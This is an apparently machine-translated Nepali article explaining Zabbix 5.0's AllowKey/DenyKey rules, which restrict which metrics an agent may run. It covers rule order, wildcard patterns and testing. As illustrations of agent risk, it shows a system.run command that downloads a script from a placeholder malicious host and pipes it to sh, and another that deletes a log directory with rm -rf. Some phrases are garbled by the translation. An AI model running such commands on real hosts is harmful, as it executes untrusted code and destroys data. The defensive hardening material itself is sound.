Zabbix 5.0 मा एजेन्ट-साइड मेट्रिक्सका लागि कालोसूची र ह्वाइटलिस्ट समर्थन

एजेन्ट-साइड मेट्रिक्सका लागि कालोसूची र ह्वाइटलिस्ट समर्थन

Tikhon Uskov, एकीकरण इन्जिनियर, Zabbix

डाटा सुरक्षा समस्याहरू

Zabbix 5.0 मा नयाँ सुविधा छ जसले तपाईंलाई Zabbix एजेन्ट प्रयोग गरेर प्रणालीहरूमा सुरक्षा सुधार गर्न र पुरानो प्यारामिटर प्रतिस्थापन गर्न अनुमति दिन्छ। RemoteCommands सक्षम गर्नुहोस्.

एजेन्ट-आधारित प्रणालीहरूको सुरक्षामा सुधारहरू यस तथ्यबाट उत्पन्न हुन्छन् कि एजेन्टले ठूलो संख्यामा सम्भावित खतरनाक कार्यहरू गर्न सक्छ।

• एजेन्टले कन्फिगरेसन फाइलहरू, लग फाइलहरू, पासवर्ड फाइलहरू, वा अन्य कुनै फाइलहरूबाट गोप्य वा सम्भावित खतरनाक जानकारी सहित लगभग कुनै पनि जानकारी सङ्कलन गर्न सक्छ।

उदाहरणका लागि, zabbix_get उपयोगिता प्रयोग गरेर तपाइँ प्रयोगकर्ताहरूको सूची, तिनीहरूको गृह निर्देशिकाहरू, पासवर्ड फाइलहरू, आदि पहुँच गर्न सक्नुहुन्छ।

zabbix_get उपयोगिता प्रयोग गरेर डाटा पहुँच गर्दै

नोट. यदि एजेन्टसँग सम्बन्धित फाइलमा पढ्ने अनुमति छ भने मात्र डाटा पुन: प्राप्त गर्न सकिन्छ. तर, उदाहरणका लागि, फाइल /etc/passwd/ सबै प्रयोगकर्ताहरू द्वारा पढ्न योग्य।

• एजेन्टले सम्भावित खतरनाक आदेशहरू पनि कार्यान्वयन गर्न सक्छ। उदाहरण को लागी, कुञ्जी *system.run []** ले तपाईंलाई नेटवर्क नोडहरूमा कुनै पनि रिमोट आदेशहरू कार्यान्वयन गर्न अनुमति दिन्छ, Zabbix वेब इन्टरफेसबाट चलिरहेको स्क्रिप्टहरू सहित जसले एजेन्ट पक्षमा आदेशहरू पनि कार्यान्वयन गर्दछ।

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

• लिनक्समा, एजेन्ट रूट विशेषाधिकार बिना पूर्वनिर्धारित रूपमा चल्छ, जबकि Windows मा यो प्रणालीको रूपमा सेवाको रूपमा चल्छ र फाइल प्रणालीमा असीमित पहुँच छ। तदनुसार, यदि स्थापना पछि Zabbix एजेन्ट प्यारामिटरहरूमा कुनै परिवर्तन गरिएन भने, एजेन्टसँग रजिस्ट्री, फाइल प्रणालीमा पहुँच हुन्छ र WMI प्रश्नहरू कार्यान्वयन गर्न सक्छ।

अघिल्लो संस्करणहरूमा प्यारामिटर RemoteCommands सक्षम गर्नुहोस् = 0 कुञ्जीसँग मेट्रिकहरू असक्षम गर्न मात्र अनुमति दिइएको छ *system.run []** र वेब इन्टरफेसबाट लिपिहरू चलिरहेको छ, तर त्यहाँ व्यक्तिगत फाइलहरूमा पहुँच प्रतिबन्धित गर्ने, एजेन्टसँग स्थापना गरिएका व्यक्तिगत कुञ्जीहरूलाई अनुमति दिने वा असक्षम गर्ने वा व्यक्तिगत प्यारामिटरहरूको प्रयोग सीमित गर्ने कुनै तरिका थिएन।

Zabbix को अघिल्लो संस्करणहरूमा EnableRemoteCommand प्यारामिटर प्रयोग गर्दै

AllowKey/DenyKey

Zabbix 5.0 ले एजेन्ट पक्षमा मेट्रिक्सलाई अनुमति दिने र अस्वीकार गर्ने ह्वाइटलिस्टहरू र कालोसूचीहरू उपलब्ध गराएर त्यस्ता अनाधिकृत पहुँचबाट जोगाउन मद्दत गर्छ।

Zabbix 5.0 मा सबै कुञ्जीहरू, सहित *system.run []** सक्षम छन्, र दुई नयाँ एजेन्ट कन्फिगरेसन विकल्पहरू थपिएका छन्:

AllowKey = - अनुमति प्राप्त जाँचहरू;

DenyKey = - निषेधित चेकहरू;

मेटाक्यारेक्टरहरू (*) प्रयोग गर्ने प्यारामिटरहरू सहितको मुख्य नाम ढाँचा कहाँ छ।

AllowKey र DenyKey कुञ्जीहरूले तपाईंलाई विशेष ढाँचामा आधारित व्यक्तिगत मेट्रिक्सहरूलाई अनुमति दिन वा अस्वीकार गर्न अनुमति दिन्छ। अन्य कन्फिगरेसन प्यारामिटरहरूको विपरीत, AllowKey/DenyKey प्यारामिटरहरूको संख्या सीमित छैन। यसले तपाईंलाई स्पष्ट रूपमा परिभाषित गर्न अनुमति दिन्छ कि एजेन्टले चेकको ट्री बनाएर प्रणालीमा के गर्न सक्छ - कार्यान्वयनयोग्य कुञ्जीहरू, जहाँ तिनीहरू लेखिएको क्रमले धेरै महत्त्वपूर्ण भूमिका खेल्छ।

नियमहरूको क्रम

नियमहरू कन्फिगरेसन फाइलमा प्रविष्ट गरिएका क्रममा जाँच गरिन्छ। कुञ्जीलाई पहिलो मिलान अघि नियम अनुसार जाँच गरिन्छ, र डेटा तत्वको कुञ्जी ढाँचासँग मेल खाने बित्तिकै, यसलाई अनुमति वा अस्वीकार गरिन्छ। यसपछि, नियम जाँच रोकिन्छ र बाँकी कुञ्जीहरूलाई बेवास्ता गरिन्छ।

त्यसकारण, यदि कुनै तत्वले अनुमति र अस्वीकार नियम दुवैसँग मेल खान्छ भने, परिणाम कन्फिगरेसन फाइलमा कुन नियम पहिलो छ भन्नेमा निर्भर हुनेछ।

एउटै ढाँचा र कुञ्जीको साथ २ फरक नियमहरू vfs.file.size[/tmp/file]

AllowKey/DenyKey कुञ्जीहरू प्रयोग गर्ने क्रम:

1. सही नियम,
2. सामान्य नियम,
3. निषेधात्मक नियम।

उदाहरणका लागि, यदि तपाइँलाई निश्चित फोल्डरमा फाइलहरूमा पहुँच चाहिन्छ भने, तपाइँले पहिले तिनीहरूलाई पहुँच अनुमति दिनुपर्छ, र त्यसपछि स्थापित अनुमतिहरू भित्र नपर्ने सबै कुरा अस्वीकार गर्नुहोस्। यदि अस्वीकार नियम पहिले प्रयोग गरियो भने, फोल्डरमा पहुँच अस्वीकार गरिनेछ।

सही क्रम

यदि तपाईंलाई २ उपयोगिताहरू * मार्फत चलाउन अनुमति दिन आवश्यक छ भनेsystem.run []**, र अस्वीकार गर्ने नियम पहिले निर्दिष्ट गरिनेछ, उपयोगिताहरू सुरु गरिने छैन, किनभने पहिलो ढाँचा सधैं कुनै पनि कुञ्जीसँग मेल खान्छ, र त्यसपछिका नियमहरूलाई बेवास्ता गरिनेछ।

गलत क्रम

ढाँचाहरु

आधारभूत नियमहरू

ढाँचा वाइल्डकार्डहरू भएको अभिव्यक्ति हो। मेटाक्यारेक्टर (*) ले कुनै पनि क्यारेक्टरको कुनै पनि संख्यालाई एक विशिष्ट स्थानमा मेल खान्छ। मेटाक्यारेक्टरहरू कुञ्जी नाम र प्यारामिटरहरूमा प्रयोग गर्न सकिन्छ। उदाहरण को लागी, तपाइँ कडाईका साथ पहिलो प्यारामिटर पाठ संग परिभाषित गर्न सक्नुहुन्छ, र त्यसपछिको वाइल्डकार्डको रूपमा निर्दिष्ट गर्नुहोस्.

प्यारामिटरहरू वर्ग कोष्ठक [] मा संलग्न हुनुपर्छ।

• system.run[* - गलत
• vfs.file*.txt] - गलत
• vfs.file.*[*] - सही

वाइल्डकार्ड प्रयोग गर्ने उदाहरणहरू।

1. कुञ्जी नाम र प्यारामिटरमा। यस अवस्थामा, कुञ्जी समान कुञ्जीसँग मेल खाँदैन जुन प्यारामिटर समावेश गर्दैन, किनकि ढाँचामा हामीले संकेत गर्यौं कि हामी कुञ्जी नामको निश्चित अन्त्य र प्यारामिटरहरूको निश्चित सेट प्राप्त गर्न चाहन्छौं।
2. यदि ढाँचाले वर्ग कोष्ठकहरू प्रयोग गर्दैन भने, ढाँचाले प्यारामिटरहरू समावेश नगर्ने सबै कुञ्जीहरूलाई अनुमति दिन्छ र निर्दिष्ट प्यारामिटर समावेश गर्ने सबै कुञ्जीहरूलाई अस्वीकार गर्दछ।
3. यदि कुञ्जी पूर्ण रूपमा लेखिएको छ र प्यारामिटरहरू वाइल्डकार्डको रूपमा निर्दिष्ट गरिएको छ भने, यसले कुनै पनि प्यारामिटरहरूसँग मिल्दोजुल्दो कुञ्जीसँग मेल खानेछ र वर्ग कोष्ठक बिना कुञ्जीसँग मेल खाँदैन, अर्थात् यसलाई अनुमति दिइनेछ वा अस्वीकार गरिनेछ।

प्यारामिटरहरू भर्ने नियमहरू।

• यदि प्यारामिटरहरू भएको कुञ्जी प्रयोग गर्नको लागि हो भने, मापदण्डहरू कन्फिगरेसन फाइलमा निर्दिष्ट हुनुपर्छ। प्यारामिटरहरू मेटाक्यारेक्टरको रूपमा निर्दिष्ट हुनुपर्छ। कुनै पनि फाइलमा पहुँचलाई ध्यानपूर्वक अस्वीकार गर्न आवश्यक छ र मेट्रिकले विभिन्न हिज्जेहरू अन्तर्गत कुन जानकारी प्रदान गर्न सक्छ भन्ने कुरालाई ध्यानमा राख्न आवश्यक छ - प्यारामिटरहरूसँग र बिना।

प्यारामिटरहरूसँग कुञ्जीहरू लेख्ने सुविधाहरू

• यदि कुञ्जी प्यारामिटरहरूसँग निर्दिष्ट गरिएको छ, तर प्यारामिटरहरू वैकल्पिक छन् र मेटाक्यारेक्टरको रूपमा निर्दिष्ट गरिएको छ भने, प्यारामिटरहरू बिनाको कुञ्जी समाधान गरिनेछ। उदाहरण को लागी, यदि तपाइँ CPU मा लोड बारे जानकारी प्राप्त गर्न को लागी असक्षम गर्न चाहानुहुन्छ र निर्दिष्ट गर्नुहोस् कि system.cpu.load[*] कुञ्जी असक्षम हुनुपर्छ, मापदण्ड बिना कुञ्जीले औसत लोड मान फर्काउनेछ भनेर नबिर्सनुहोस्।

प्यारामिटरहरू भर्ने नियमहरू

टिप्पणीहरू

समायोजन

• केही नियमहरू प्रयोगकर्ताद्वारा परिवर्तन गर्न सकिँदैन, उदाहरणका लागि, खोज नियमहरू वा एजेन्ट स्वत: दर्ता नियमहरू। AllowKey/DenyKey नियमहरूले निम्न प्यारामिटरहरूलाई असर गर्दैन:
  - होस्टनाम वस्तु
  - HostMetadataItem
  - HostInterfaceItem

नोट. यदि प्रशासकले कुञ्जीलाई असक्षम पार्छ भने, सोध्दा, Zabbix ले मेट्रिक वा कुञ्जी किन ' श्रेणीमा पर्छ भन्ने बारे जानकारी प्रदान गर्दैन।मेला खाएन'। रिमोट आदेशहरू कार्यान्वयन गर्न प्रतिबन्धहरूको बारेमा जानकारी एजेन्ट लग फाइलहरूमा पनि प्रदर्शित हुँदैन। यो सुरक्षा कारणहरूका लागि हो, तर मेट्रिकहरू कुनै कारणले असमर्थित कोटीमा परेमा डिबगिङलाई जटिल बनाउन सक्छ।.

• बाह्य कन्फिगरेसन फाइलहरू (उदाहरणका लागि, वर्णमाला क्रममा) जडान गर्नको लागि तपाईंले कुनै विशेष क्रममा भर पर्नु हुँदैन।

कमाण्ड लाइन उपयोगिताहरू

नियमहरू सेटअप गरेपछि, तपाईंले सबै कुरा सही रूपमा कन्फिगर गरिएको छ भनेर सुनिश्चित गर्न आवश्यक छ।

तपाईं तीन विकल्प मध्ये एक प्रयोग गर्न सक्नुहुन्छ:

• Zabbix मा मेट्रिक थप्नुहोस्।
• संग परीक्षण zabbix_agentd। विकल्पको साथ Zabbix एजेन्ट -छाप (-p) कन्फिगरेसनद्वारा अनुमति नभएका बाहेक सबै कुञ्जीहरू (जसलाई पूर्वनिर्धारित रूपमा अनुमति दिइन्छ) देखाउँछ। र विकल्प संग -परीक्षण (-t) प्रतिबन्धित कुञ्जी फर्किनेछ'असमर्थित वस्तु कुञ्जी'।
• संग परीक्षण zabbix_get। उपयोगिता zabbix_get विकल्प संग -k फर्कने छौ, फर्कने छन् 'ZBX_NOTSUPPORTED: अज्ञात मेट्रिक'।

अनुमति दिनुहोस् वा अस्वीकार गर्नुहोस्

तपाईंले फाइलमा पहुँच अस्वीकार गर्न सक्नुहुन्छ र प्रमाणीकरण गर्न सक्नुहुन्छ, उदाहरणका लागि, उपयोगिता प्रयोग गरेर zabbix_getत्यो फाइलमा पहुँच अस्वीकार गरिएको छ।

**

नोट. प्यारामिटरमा उद्धरणहरू बेवास्ता गरिन्छ.

यस अवस्थामा, यस्तो फाइलमा पहुँच फरक मार्ग मार्फत अनुमति हुन सक्छ। उदाहरण को लागी, यदि एक symlink ले यो जान्छ।

निर्दिष्ट नियमहरू लागू गर्नका लागि विभिन्न विकल्पहरू जाँच गर्न सिफारिस गरिन्छ, र प्रतिबन्धहरूलाई रोक्ने सम्भावनाहरूलाई पनि ध्यानमा राख्नुहोस्।

प्रश्न र उत्तरहरू

तपाईंको प्रश्न। नियम, अनुमति र निषेधहरू वर्णन गर्न आफ्नै भाषा भएको यस्तो जटिल ढाँचा किन रोजियो? किन यो प्रयोग गर्न सम्भव थिएन, उदाहरणका लागि, Zabbix प्रयोग गर्ने नियमित अभिव्यक्ति?

जवाफ दिनुहोस्. यो एक regex कार्यसम्पादन मुद्दा हो किनकि त्यहाँ सामान्यतया एउटा मात्र एजेन्ट हुन्छ र यसले मेट्रिक्सको ठूलो संख्या जाँच गर्दछ। Regex एकदम भारी अपरेशन हो र हामी यस तरिकाले हजारौं मेट्रिक्स जाँच गर्न सक्दैनौं। वाइल्डकार्डहरू - एक विश्वव्यापी, व्यापक रूपमा प्रयोग र सरल समाधान.

तपाईंको प्रश्न। के समावेश फाइलहरू वर्णमाला क्रममा समावेश गरिएका छैनन्?

जवाफ दिनुहोस्. जहाँसम्म मलाई थाहा छ, यदि तपाईले नियमहरू विभिन्न फाइलहरूमा फैलाउनुभयो भने कुन क्रममा नियमहरू लागू हुनेछन् भनेर भविष्यवाणी गर्न लगभग असम्भव छ। म सबै AllowKey/DenyKey नियमहरू एक समावेश फाइलमा सङ्कलन गर्न सिफारिस गर्छु, किनभने तिनीहरू एकअर्कासँग अन्तर्क्रिया गर्छन्, र यो फाइल समावेश गर्दछ।.

तपाईंको प्रश्न। Zabbix 5.0 मा विकल्प 'RemoteCommands सक्षम गर्नुहोस् =' कन्फिगरेसन फाइलबाट हराइरहेको छ, र AllowKey/DenyKey मात्र उपलब्ध छन्?

जवाफ। हो त्यो सहि हो.

तपाईंको ध्यानको लागि धन्यबाद!

स्रोत: www.habr.com